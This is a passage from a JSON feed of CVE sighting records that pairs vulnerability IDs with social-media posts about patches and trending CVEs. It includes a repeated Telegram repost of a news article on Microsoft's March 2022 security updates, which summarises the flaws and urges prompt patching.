"2026-09-06T06:11:54.158815+00:00", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mutdkg5dke2l", "content": "ntopng: apply patch for CVE-2026-86091 CVE-2026-86090\n\nhttps://github.com/NixOS/nixpkgs/pull/560316\n\nhttps://tracker.security.nixos.org/issues/NIXPKGS-2026-2510\n\n#security", "vulnerability": "CVE-2026-86090", "author": {"login": "automation"}}, {"uuid": "8828a2bc-d79b-4537-96b2-1c826d041ad2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:11:54.108372+00:00", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mutdkg5dke2l", "content": "ntopng: apply patch for CVE-2026-86091 CVE-2026-86090\n\nhttps://github.com/NixOS/nixpkgs/pull/560316\n\nhttps://tracker.security.nixos.org/issues/NIXPKGS-2026-2510\n\n#security", "vulnerability": "CVE-2026-86091", "author": {"login": "automation"}}, {"uuid": "19c1d89f-f53f-4215-82be-38edd0d80ebb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:01:51.480197+00:00", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3mutcyhgzde2w", "content": "CVE-2026-52924 is trending. Hype score 1, currently #10 on cvemon.\n\nIn the Linux kernel, the following vulnerability has been resolved: sctp: purge outqueue on stale COOKIE-ECHO handling sctp_stream_update() is only invoked when the association is\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-52924", "vulnerability": "CVE-2026-52924", "author": {"login": "automation"}}, {"uuid": "dc59044d-e166-4aec-9350-2076b3c6f960", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:01:49.491014+00:00", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3mutcyfh5p223", "content": "CVE-2026-73749 is trending. Hype score 5, currently #7 on cvemon.\n\nMultiple vulnerabilities exist in a daemon of AOS-CX that may allow for improper processing of malformed input. An unauthenticated remote attacker could exploit these vulnerabilities\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-73749", "vulnerability": "CVE-2026-73749", "author": {"login": "automation"}}, {"uuid": "3bc9197c-0378-4f66-b65e-e0d3b1406251", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:01:47.653269+00:00", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3mutcydcswd2q", "content": "CVE-2026-19174 is trending. Hype score 7, currently #5 on cvemon.\n\nInteger overflow in V8 in Google Chrome prior to 151.0.7922.109 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-19174", "vulnerability": "CVE-2026-19174", "author": {"login": "automation"}}, {"uuid": "26fe2824-5112-42d2-a781-6a84002d0412", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:25.866033+00:00", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/4inktpkwqczos", "content": "CVE-2026-86168 - code-projects Content Management System login.php sql injection\nCVE ID : CVE-2026-86168\n \n Published : Sept. 6, 2026, 4:45 a.m. | 43\u00a0minutes ago\n \n Description : A security flaw has been discovered in code-projects Content Management System 1.0. The affected e...", "vulnerability": "CVE-2026-86168", "author": {"login": "automation"}}, {"uuid": "d6cf2e82-90a8-44b3-8d13-8267a7a036b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:05.867032+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45623", "content": "nerability affecting on-prem Exchange servers could potentially be used during lateral movement into a part of the environment which presents the opportunity for business email compromise or data theft from email,\u201d he said via email.\n\nClaire Tillis, senior research engineer at Tenable, meanwhile told Threatpost: \u201d Given the prevalence of attacks against Microsoft Exchange flaws in the past, organizations should apply the available updates immediately.\u201d Publicly Known BugsMeanwhile, the three zero-day issues are:\n\n* CVE-2022-21990\u00a0\u2013 Remote Desktop Client (CVSS rating of 8.8, allows RCE)\n* CVE-2022-24512\u00a0\u2013 .NET and Visual Studio (CVSS rating of 6.3, allows RCE)\n* CVE-2022-24459\u00a0\u2013 Windows Fax and Scan Service (CVSS rating of 7.8, allows elevation of privilege)\n\nThe RDP client issue deserves to be treated as though it was designated critical, Childs said.\n\n\u201cThis client-side bug doesn\u2019t have the same punch as server-side-related RDP, but since it\u2019s listed as publicly known, it makes sense to treat this as a critical-rated bug,\u201d he said. \u201cThis isn\u2019t as severe as BlueKeep or some of the other RDP server bugs, but it definitely shouldn\u2019t be overlooked.\u201d\n\nWith regards to attack vector, a threat actor would need to lure an affected RDP client to connect to a malicious RDP server, which would allow the person to trigger code execution on the targeted client, Childs explained.\n\nBreen pointed out that the bug is one of three RCE bugs affecting RDP included in the advisory; the other two are CVE-2022-23285\u00a0(CVSS 8.8) and CVE-2022-24503\u00a0(CVSS 5.4).\n\n\u201cWith the increase in remote working driving the expansion of the attack surface presented by RDP, a trio of RCE vulnerabilities affecting this protocol should be on security teams\u2019 radar,\u201d Breen said via email. \u201c[They] are a potential concern especially as this infection vector is commonly used by ransomware actors. While exploitation is not trivial, requiring an attacker to set up bespoke infrastructure, it still presents enough of a risk to be a priority.\u201d\n\nThe second known RCE bug is much less of a concern, according to Microsoft\u2019s advisory.\n\n\u201cWhile we cannot rule out the impact to confidentiality, integrity and availability, the ability to exploit this vulnerability by itself is limited,\u201d according to the company. \u201cAn attacker would need to combine this with other vulnerabilities to perform an attack.\u201d\n\nPlus, a targeted user would need to be lured to trigger a payload within the application.\n\nMicrosoft offered no technical details about the third publicly known bug. See Also: Offensive Security Tool: Scapy Other March Vulnerabilities of InterestResearchers flagged a handful of other issues to patch quickly, including CVE-2022-24508, which exists in the Windows SMBv3 client and server, and which could lead to RCE on Windows 10 version 2004 and newer systems.\n\n\u201cAuthentication is required here, but since this affected both clients and servers, an attacker could use this for lateral movement within a network,\u201d Childs explained. \u201cThis is another one I would treat as critical and mitigate quickly.\u201d\n\nBreen again agreed, and noted that Microsoft offered additional mitigations.\n\n\u201cAnother potential component of lateral movement, remotely executable CVE-2022-24508 in Windows SMB v3, seems to be one to watch out for,\u201d he said. \u201cWhile successful exploitation requires valid credentials, Microsoft provides advice on limiting SMB traffic in lateral and external connections. While this is a strong step in providing defense in depth, blocking such connections can also have an adverse effect on other tools using these connections, something to be considered in mitigation attempts.\u201d\n\nHe also flagged three privilege-escalation vulnerabilities (CVE-2022-23286\u00a0in the Windows Cloud Files Mini Filter Driver; CVE-2022-24507\u00a0in the Windows Ancillary Function Driver for WinSock; and CVE-2022-23299\u00a0in Windows PDEV) as ones to prioritize, since they \u201cc[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-24508", "author": {"login": "automation"}}, {"uuid": "7c28b672-7be7-478a-b80d-561fb7a67c8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:05.823034+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45623", "content": "nerability affecting on-prem Exchange servers could potentially be used during lateral movement into a part of the environment which presents the opportunity for business email compromise or data theft from email,\u201d he said via email.\n\nClaire Tillis, senior research engineer at Tenable, meanwhile told Threatpost: \u201d Given the prevalence of attacks against Microsoft Exchange flaws in the past, organizations should apply the available updates immediately.\u201d Publicly Known BugsMeanwhile, the three zero-day issues are:\n\n* CVE-2022-21990\u00a0\u2013 Remote Desktop Client (CVSS rating of 8.8, allows RCE)\n* CVE-2022-24512\u00a0\u2013 .NET and Visual Studio (CVSS rating of 6.3, allows RCE)\n* CVE-2022-24459\u00a0\u2013 Windows Fax and Scan Service (CVSS rating of 7.8, allows elevation of privilege)\n\nThe RDP client issue deserves to be treated as though it was designated critical, Childs said.\n\n\u201cThis client-side bug doesn\u2019t have the same punch as server-side-related RDP, but since it\u2019s listed as publicly known, it makes sense to treat this as a critical-rated bug,\u201d he said. \u201cThis isn\u2019t as severe as BlueKeep or some of the other RDP server bugs, but it definitely shouldn\u2019t be overlooked.\u201d\n\nWith regards to attack vector, a threat actor would need to lure an affected RDP client to connect to a malicious RDP server, which would allow the person to trigger code execution on the targeted client, Childs explained.\n\nBreen pointed out that the bug is one of three RCE bugs affecting RDP included in the advisory; the other two are CVE-2022-23285\u00a0(CVSS 8.8) and CVE-2022-24503\u00a0(CVSS 5.4).\n\n\u201cWith the increase in remote working driving the expansion of the attack surface presented by RDP, a trio of RCE vulnerabilities affecting this protocol should be on security teams\u2019 radar,\u201d Breen said via email. \u201c[They] are a potential concern especially as this infection vector is commonly used by ransomware actors. While exploitation is not trivial, requiring an attacker to set up bespoke infrastructure, it still presents enough of a risk to be a priority.\u201d\n\nThe second known RCE bug is much less of a concern, according to Microsoft\u2019s advisory.\n\n\u201cWhile we cannot rule out the impact to confidentiality, integrity and availability, the ability to exploit this vulnerability by itself is limited,\u201d according to the company. \u201cAn attacker would need to combine this with other vulnerabilities to perform an attack.\u201d\n\nPlus, a targeted user would need to be lured to trigger a payload within the application.\n\nMicrosoft offered no technical details about the third publicly known bug. See Also: Offensive Security Tool: Scapy Other March Vulnerabilities of InterestResearchers flagged a handful of other issues to patch quickly, including CVE-2022-24508, which exists in the Windows SMBv3 client and server, and which could lead to RCE on Windows 10 version 2004 and newer systems.\n\n\u201cAuthentication is required here, but since this affected both clients and servers, an attacker could use this for lateral movement within a network,\u201d Childs explained. \u201cThis is another one I would treat as critical and mitigate quickly.\u201d\n\nBreen again agreed, and noted that Microsoft offered additional mitigations.\n\n\u201cAnother potential component of lateral movement, remotely executable CVE-2022-24508 in Windows SMB v3, seems to be one to watch out for,\u201d he said. \u201cWhile successful exploitation requires valid credentials, Microsoft provides advice on limiting SMB traffic in lateral and external connections. While this is a strong step in providing defense in depth, blocking such connections can also have an adverse effect on other tools using these connections, something to be considered in mitigation attempts.\u201d\n\nHe also flagged three privilege-escalation vulnerabilities (CVE-2022-23286\u00a0in the Windows Cloud Files Mini Filter Driver; CVE-2022-24507\u00a0in the Windows Ancillary Function Driver for WinSock; and CVE-2022-23299\u00a0in Windows PDEV) as ones to prioritize, since they \u201cc[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-24459", "author": {"login": "automation"}}, {"uuid": "46f21185-eeb2-4e72-a0ce-edb3b5c72c9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:05.774313+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45623", "content": "nerability affecting on-prem Exchange servers could potentially be used during lateral movement into a part of the environment which presents the opportunity for business email compromise or data theft from email,\u201d he said via email.\n\nClaire Tillis, senior research engineer at Tenable, meanwhile told Threatpost: \u201d Given the prevalence of attacks against Microsoft Exchange flaws in the past, organizations should apply the available updates immediately.\u201d Publicly Known BugsMeanwhile, the three zero-day issues are:\n\n* CVE-2022-21990\u00a0\u2013 Remote Desktop Client (CVSS rating of 8.8, allows RCE)\n* CVE-2022-24512\u00a0\u2013 .NET and Visual Studio (CVSS rating of 6.3, allows RCE)\n* CVE-2022-24459\u00a0\u2013 Windows Fax and Scan Service (CVSS rating of 7.8, allows elevation of privilege)\n\nThe RDP client issue deserves to be treated as though it was designated critical, Childs said.\n\n\u201cThis client-side bug doesn\u2019t have the same punch as server-side-related RDP, but since it\u2019s listed as publicly known, it makes sense to treat this as a critical-rated bug,\u201d he said. \u201cThis isn\u2019t as severe as BlueKeep or some of the other RDP server bugs, but it definitely shouldn\u2019t be overlooked.\u201d\n\nWith regards to attack vector, a threat actor would need to lure an affected RDP client to connect to a malicious RDP server, which would allow the person to trigger code execution on the targeted client, Childs explained.\n\nBreen pointed out that the bug is one of three RCE bugs affecting RDP included in the advisory; the other two are CVE-2022-23285\u00a0(CVSS 8.8) and CVE-2022-24503\u00a0(CVSS 5.4).\n\n\u201cWith the increase in remote working driving the expansion of the attack surface presented by RDP, a trio of RCE vulnerabilities affecting this protocol should be on security teams\u2019 radar,\u201d Breen said via email. \u201c[They] are a potential concern especially as this infection vector is commonly used by ransomware actors. While exploitation is not trivial, requiring an attacker to set up bespoke infrastructure, it still presents enough of a risk to be a priority.\u201d\n\nThe second known RCE bug is much less of a concern, according to Microsoft\u2019s advisory.\n\n\u201cWhile we cannot rule out the impact to confidentiality, integrity and availability, the ability to exploit this vulnerability by itself is limited,\u201d according to the company. \u201cAn attacker would need to combine this with other vulnerabilities to perform an attack.\u201d\n\nPlus, a targeted user would need to be lured to trigger a payload within the application.\n\nMicrosoft offered no technical details about the third publicly known bug. See Also: Offensive Security Tool: Scapy Other March Vulnerabilities of InterestResearchers flagged a handful of other issues to patch quickly, including CVE-2022-24508, which exists in the Windows SMBv3 client and server, and which could lead to RCE on Windows 10 version 2004 and newer systems.\n\n\u201cAuthentication is required here, but since this affected both clients and servers, an attacker could use this for lateral movement within a network,\u201d Childs explained. \u201cThis is another one I would treat as critical and mitigate quickly.\u201d\n\nBreen again agreed, and noted that Microsoft offered additional mitigations.\n\n\u201cAnother potential component of lateral movement, remotely executable CVE-2022-24508 in Windows SMB v3, seems to be one to watch out for,\u201d he said. \u201cWhile successful exploitation requires valid credentials, Microsoft provides advice on limiting SMB traffic in lateral and external connections. While this is a strong step in providing defense in depth, blocking such connections can also have an adverse effect on other tools using these connections, something to be considered in mitigation attempts.\u201d\n\nHe also flagged three privilege-escalation vulnerabilities (CVE-2022-23286\u00a0in the Windows Cloud Files Mini Filter Driver; CVE-2022-24507\u00a0in the Windows Ancillary Function Driver for WinSock; and CVE-2022-23299\u00a0in Windows PDEV) as ones to prioritize, since they \u201cc[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-24507", "author": {"login": "automation"}}, {"uuid": "d06cf9d3-7d4c-47f8-a6ad-b77b282dbce7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:05.721970+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45623", "content": "nerability affecting on-prem Exchange servers could potentially be used during lateral movement into a part of the environment which presents the opportunity for business email compromise or data theft from email,\u201d he said via email.\n\nClaire Tillis, senior research engineer at Tenable, meanwhile told Threatpost: \u201d Given the prevalence of attacks against Microsoft Exchange flaws in the past, organizations should apply the available updates immediately.\u201d Publicly Known BugsMeanwhile, the three zero-day issues are:\n\n* CVE-2022-21990\u00a0\u2013 Remote Desktop Client (CVSS rating of 8.8, allows RCE)\n* CVE-2022-24512\u00a0\u2013 .NET and Visual Studio (CVSS rating of 6.3, allows RCE)\n* CVE-2022-24459\u00a0\u2013 Windows Fax and Scan Service (CVSS rating of 7.8, allows elevation of privilege)\n\nThe RDP client issue deserves to be treated as though it was designated critical, Childs said.\n\n\u201cThis client-side bug doesn\u2019t have the same punch as server-side-related RDP, but since it\u2019s listed as publicly known, it makes sense to treat this as a critical-rated bug,\u201d he said. \u201cThis isn\u2019t as severe as BlueKeep or some of the other RDP server bugs, but it definitely shouldn\u2019t be overlooked.\u201d\n\nWith regards to attack vector, a threat actor would need to lure an affected RDP client to connect to a malicious RDP server, which would allow the person to trigger code execution on the targeted client, Childs explained.\n\nBreen pointed out that the bug is one of three RCE bugs affecting RDP included in the advisory; the other two are CVE-2022-23285\u00a0(CVSS 8.8) and CVE-2022-24503\u00a0(CVSS 5.4).\n\n\u201cWith the increase in remote working driving the expansion of the attack surface presented by RDP, a trio of RCE vulnerabilities affecting this protocol should be on security teams\u2019 radar,\u201d Breen said via email. \u201c[They] are a potential concern especially as this infection vector is commonly used by ransomware actors. While exploitation is not trivial, requiring an attacker to set up bespoke infrastructure, it still presents enough of a risk to be a priority.\u201d\n\nThe second known RCE bug is much less of a concern, according to Microsoft\u2019s advisory.\n\n\u201cWhile we cannot rule out the impact to confidentiality, integrity and availability, the ability to exploit this vulnerability by itself is limited,\u201d according to the company. \u201cAn attacker would need to combine this with other vulnerabilities to perform an attack.\u201d\n\nPlus, a targeted user would need to be lured to trigger a payload within the application.\n\nMicrosoft offered no technical details about the third publicly known bug. See Also: Offensive Security Tool: Scapy Other March Vulnerabilities of InterestResearchers flagged a handful of other issues to patch quickly, including CVE-2022-24508, which exists in the Windows SMBv3 client and server, and which could lead to RCE on Windows 10 version 2004 and newer systems.\n\n\u201cAuthentication is required here, but since this affected both clients and servers, an attacker could use this for lateral movement within a network,\u201d Childs explained. \u201cThis is another one I would treat as critical and mitigate quickly.\u201d\n\nBreen again agreed, and noted that Microsoft offered additional mitigations.\n\n\u201cAnother potential component of lateral movement, remotely executable CVE-2022-24508 in Windows SMB v3, seems to be one to watch out for,\u201d he said. \u201cWhile successful exploitation requires valid credentials, Microsoft provides advice on limiting SMB traffic in lateral and external connections. While this is a strong step in providing defense in depth, blocking such connections can also have an adverse effect on other tools using these connections, something to be considered in mitigation attempts.\u201d\n\nHe also flagged three privilege-escalation vulnerabilities (CVE-2022-23286\u00a0in the Windows Cloud Files Mini Filter Driver; CVE-2022-24507\u00a0in the Windows Ancillary Function Driver for WinSock; and CVE-2022-23299\u00a0in Windows PDEV) as ones to prioritize, since they \u201cc[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-23286", "author": {"login": "automation"}}, {"uuid": "6340c644-cd93-426c-a053-0f4bb7f85c1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:05.674625+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45623", "content": "nerability affecting on-prem Exchange servers could potentially be used during lateral movement into a part of the environment which presents the opportunity for business email compromise or data theft from email,\u201d he said via email.\n\nClaire Tillis, senior research engineer at Tenable, meanwhile told Threatpost: \u201d Given the prevalence of attacks against Microsoft Exchange flaws in the past, organizations should apply the available updates immediately.\u201d Publicly Known BugsMeanwhile, the three zero-day issues are:\n\n* CVE-2022-21990\u00a0\u2013 Remote Desktop Client (CVSS rating of 8.8, allows RCE)\n* CVE-2022-24512\u00a0\u2013 .NET and Visual Studio (CVSS rating of 6.3, allows RCE)\n* CVE-2022-24459\u00a0\u2013 Windows Fax and Scan Service (CVSS rating of 7.8, allows elevation of privilege)\n\nThe RDP client issue deserves to be treated as though it was designated critical, Childs said.\n\n\u201cThis client-side bug doesn\u2019t have the same punch as server-side-related RDP, but since it\u2019s listed as publicly known, it makes sense to treat this as a critical-rated bug,\u201d he said. \u201cThis isn\u2019t as severe as BlueKeep or some of the other RDP server bugs, but it definitely shouldn\u2019t be overlooked.\u201d\n\nWith regards to attack vector, a threat actor would need to lure an affected RDP client to connect to a malicious RDP server, which would allow the person to trigger code execution on the targeted client, Childs explained.\n\nBreen pointed out that the bug is one of three RCE bugs affecting RDP included in the advisory; the other two are CVE-2022-23285\u00a0(CVSS 8.8) and CVE-2022-24503\u00a0(CVSS 5.4).\n\n\u201cWith the increase in remote working driving the expansion of the attack surface presented by RDP, a trio of RCE vulnerabilities affecting this protocol should be on security teams\u2019 radar,\u201d Breen said via email. \u201c[They] are a potential concern especially as this infection vector is commonly used by ransomware actors. While exploitation is not trivial, requiring an attacker to set up bespoke infrastructure, it still presents enough of a risk to be a priority.\u201d\n\nThe second known RCE bug is much less of a concern, according to Microsoft\u2019s advisory.\n\n\u201cWhile we cannot rule out the impact to confidentiality, integrity and availability, the ability to exploit this vulnerability by itself is limited,\u201d according to the company. \u201cAn attacker would need to combine this with other vulnerabilities to perform an attack.\u201d\n\nPlus, a targeted user would need to be lured to trigger a payload within the application.\n\nMicrosoft offered no technical details about the third publicly known bug. See Also: Offensive Security Tool: Scapy Other March Vulnerabilities of InterestResearchers flagged a handful of other issues to patch quickly, including CVE-2022-24508, which exists in the Windows SMBv3 client and server, and which could lead to RCE on Windows 10 version 2004 and newer systems.\n\n\u201cAuthentication is required here, but since this affected both clients and servers, an attacker could use this for lateral movement within a network,\u201d Childs explained. \u201cThis is another one I would treat as critical and mitigate quickly.\u201d\n\nBreen again agreed, and noted that Microsoft offered additional mitigations.\n\n\u201cAnother potential component of lateral movement, remotely executable CVE-2022-24508 in Windows SMB v3, seems to be one to watch out for,\u201d he said. \u201cWhile successful exploitation requires valid credentials, Microsoft provides advice on limiting SMB traffic in lateral and external connections. While this is a strong step in providing defense in depth, blocking such connections can also have an adverse effect on other tools using these connections, something to be considered in mitigation attempts.\u201d\n\nHe also flagged three privilege-escalation vulnerabilities (CVE-2022-23286\u00a0in the Windows Cloud Files Mini Filter Driver; CVE-2022-24507\u00a0in the Windows Ancillary Function Driver for WinSock; and CVE-2022-23299\u00a0in Windows PDEV) as ones to prioritize, since they \u201cc[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-21990", "author": {"login": "automation"}}, {"uuid": "d1d154a0-d1a3-4987-a75c-27efa722bb00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:05.622925+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45623", "content": "nerability affecting on-prem Exchange servers could potentially be used during lateral movement into a part of the environment which presents the opportunity for business email compromise or data theft from email,\u201d he said via email.\n\nClaire Tillis, senior research engineer at Tenable, meanwhile told Threatpost: \u201d Given the prevalence of attacks against Microsoft Exchange flaws in the past, organizations should apply the available updates immediately.\u201d Publicly Known BugsMeanwhile, the three zero-day issues are:\n\n* CVE-2022-21990\u00a0\u2013 Remote Desktop Client (CVSS rating of 8.8, allows RCE)\n* CVE-2022-24512\u00a0\u2013 .NET and Visual Studio (CVSS rating of 6.3, allows RCE)\n* CVE-2022-24459\u00a0\u2013 Windows Fax and Scan Service (CVSS rating of 7.8, allows elevation of privilege)\n\nThe RDP client issue deserves to be treated as though it was designated critical, Childs said.\n\n\u201cThis client-side bug doesn\u2019t have the same punch as server-side-related RDP, but since it\u2019s listed as publicly known, it makes sense to treat this as a critical-rated bug,\u201d he said. \u201cThis isn\u2019t as severe as BlueKeep or some of the other RDP server bugs, but it definitely shouldn\u2019t be overlooked.\u201d\n\nWith regards to attack vector, a threat actor would need to lure an affected RDP client to connect to a malicious RDP server, which would allow the person to trigger code execution on the targeted client, Childs explained.\n\nBreen pointed out that the bug is one of three RCE bugs affecting RDP included in the advisory; the other two are CVE-2022-23285\u00a0(CVSS 8.8) and CVE-2022-24503\u00a0(CVSS 5.4).\n\n\u201cWith the increase in remote working driving the expansion of the attack surface presented by RDP, a trio of RCE vulnerabilities affecting this protocol should be on security teams\u2019 radar,\u201d Breen said via email. \u201c[They] are a potential concern especially as this infection vector is commonly used by ransomware actors. While exploitation is not trivial, requiring an attacker to set up bespoke infrastructure, it still presents enough of a risk to be a priority.\u201d\n\nThe second known RCE bug is much less of a concern, according to Microsoft\u2019s advisory.\n\n\u201cWhile we cannot rule out the impact to confidentiality, integrity and availability, the ability to exploit this vulnerability by itself is limited,\u201d according to the company. \u201cAn attacker would need to combine this with other vulnerabilities to perform an attack.\u201d\n\nPlus, a targeted user would need to be lured to trigger a payload within the application.\n\nMicrosoft offered no technical details about the third publicly known bug. See Also: Offensive Security Tool: Scapy Other March Vulnerabilities of InterestResearchers flagged a handful of other issues to patch quickly, including CVE-2022-24508, which exists in the Windows SMBv3 client and server, and which could lead to RCE on Windows 10 version 2004 and newer systems.\n\n\u201cAuthentication is required here, but since this affected both clients and servers, an attacker could use this for lateral movement within a network,\u201d Childs explained. \u201cThis is another one I would treat as critical and mitigate quickly.\u201d\n\nBreen again agreed, and noted that Microsoft offered additional mitigations.\n\n\u201cAnother potential component of lateral movement, remotely executable CVE-2022-24508 in Windows SMB v3, seems to be one to watch out for,\u201d he said. \u201cWhile successful exploitation requires valid credentials, Microsoft provides advice on limiting SMB traffic in lateral and external connections. While this is a strong step in providing defense in depth, blocking such connections can also have an adverse effect on other tools using these connections, something to be considered in mitigation attempts.\u201d\n\nHe also flagged three privilege-escalation vulnerabilities (CVE-2022-23286\u00a0in the Windows Cloud Files Mini Filter Driver; CVE-2022-24507\u00a0in the Windows Ancillary Function Driver for WinSock; and CVE-2022-23299\u00a0in Windows PDEV) as ones to prioritize, since they \u201cc[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-24503", "author": {"login": "automation"}}, {"uuid": "d362c18e-57e2-4b2f-a2c6-6dddf4c6719c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:05.572527+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45623", "content": "nerability affecting on-prem Exchange servers could potentially be used during lateral movement into a part of the environment which presents the opportunity for business email compromise or data theft from email,\u201d he said via email.\n\nClaire Tillis, senior research engineer at Tenable, meanwhile told Threatpost: \u201d Given the prevalence of attacks against Microsoft Exchange flaws in the past, organizations should apply the available updates immediately.\u201d Publicly Known BugsMeanwhile, the three zero-day issues are:\n\n* CVE-2022-21990\u00a0\u2013 Remote Desktop Client (CVSS rating of 8.8, allows RCE)\n* CVE-2022-24512\u00a0\u2013 .NET and Visual Studio (CVSS rating of 6.3, allows RCE)\n* CVE-2022-24459\u00a0\u2013 Windows Fax and Scan Service (CVSS rating of 7.8, allows elevation of privilege)\n\nThe RDP client issue deserves to be treated as though it was designated critical, Childs said.\n\n\u201cThis client-side bug doesn\u2019t have the same punch as server-side-related RDP, but since it\u2019s listed as publicly known, it makes sense to treat this as a critical-rated bug,\u201d he said. \u201cThis isn\u2019t as severe as BlueKeep or some of the other RDP server bugs, but it definitely shouldn\u2019t be overlooked.\u201d\n\nWith regards to attack vector, a threat actor would need to lure an affected RDP client to connect to a malicious RDP server, which would allow the person to trigger code execution on the targeted client, Childs explained.\n\nBreen pointed out that the bug is one of three RCE bugs affecting RDP included in the advisory; the other two are CVE-2022-23285\u00a0(CVSS 8.8) and CVE-2022-24503\u00a0(CVSS 5.4).\n\n\u201cWith the increase in remote working driving the expansion of the attack surface presented by RDP, a trio of RCE vulnerabilities affecting this protocol should be on security teams\u2019 radar,\u201d Breen said via email. \u201c[They] are a potential concern especially as this infection vector is commonly used by ransomware actors. While exploitation is not trivial, requiring an attacker to set up bespoke infrastructure, it still presents enough of a risk to be a priority.\u201d\n\nThe second known RCE bug is much less of a concern, according to Microsoft\u2019s advisory.\n\n\u201cWhile we cannot rule out the impact to confidentiality, integrity and availability, the ability to exploit this vulnerability by itself is limited,\u201d according to the company. \u201cAn attacker would need to combine this with other vulnerabilities to perform an attack.\u201d\n\nPlus, a targeted user would need to be lured to trigger a payload within the application.\n\nMicrosoft offered no technical details about the third publicly known bug. See Also: Offensive Security Tool: Scapy Other March Vulnerabilities of InterestResearchers flagged a handful of other issues to patch quickly, including CVE-2022-24508, which exists in the Windows SMBv3 client and server, and which could lead to RCE on Windows 10 version 2004 and newer systems.\n\n\u201cAuthentication is required here, but since this affected both clients and servers, an attacker could use this for lateral movement within a network,\u201d Childs explained. \u201cThis is another one I would treat as critical and mitigate quickly.\u201d\n\nBreen again agreed, and noted that Microsoft offered additional mitigations.\n\n\u201cAnother potential component of lateral movement, remotely executable CVE-2022-24508 in Windows SMB v3, seems to be one to watch out for,\u201d he said. \u201cWhile successful exploitation requires valid credentials, Microsoft provides advice on limiting SMB traffic in lateral and external connections. While this is a strong step in providing defense in depth, blocking such connections can also have an adverse effect on other tools using these connections, something to be considered in mitigation attempts.\u201d\n\nHe also flagged three privilege-escalation vulnerabilities (CVE-2022-23286\u00a0in the Windows Cloud Files Mini Filter Driver; CVE-2022-24507\u00a0in the Windows Ancillary Function Driver for WinSock; and CVE-2022-23299\u00a0in Windows PDEV) as ones to prioritize, since they \u201cc[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-23299", "author": {"login": "automation"}}, {"uuid": "8b061d41-b669-4543-af0e-0a86b7d76a69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:05.524164+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45623", "content": "nerability affecting on-prem Exchange servers could potentially be used during lateral movement into a part of the environment which presents the opportunity for business email compromise or data theft from email,\u201d he said via email.\n\nClaire Tillis, senior research engineer at Tenable, meanwhile told Threatpost: \u201d Given the prevalence of attacks against Microsoft Exchange flaws in the past, organizations should apply the available updates immediately.\u201d Publicly Known BugsMeanwhile, the three zero-day issues are:\n\n* CVE-2022-21990\u00a0\u2013 Remote Desktop Client (CVSS rating of 8.8, allows RCE)\n* CVE-2022-24512\u00a0\u2013 .NET and Visual Studio (CVSS rating of 6.3, allows RCE)\n* CVE-2022-24459\u00a0\u2013 Windows Fax and Scan Service (CVSS rating of 7.8, allows elevation of privilege)\n\nThe RDP client issue deserves to be treated as though it was designated critical, Childs said.\n\n\u201cThis client-side bug doesn\u2019t have the same punch as server-side-related RDP, but since it\u2019s listed as publicly known, it makes sense to treat this as a critical-rated bug,\u201d he said. \u201cThis isn\u2019t as severe as BlueKeep or some of the other RDP server bugs, but it definitely shouldn\u2019t be overlooked.\u201d\n\nWith regards to attack vector, a threat actor would need to lure an affected RDP client to connect to a malicious RDP server, which would allow the person to trigger code execution on the targeted client, Childs explained.\n\nBreen pointed out that the bug is one of three RCE bugs affecting RDP included in the advisory; the other two are CVE-2022-23285\u00a0(CVSS 8.8) and CVE-2022-24503\u00a0(CVSS 5.4).\n\n\u201cWith the increase in remote working driving the expansion of the attack surface presented by RDP, a 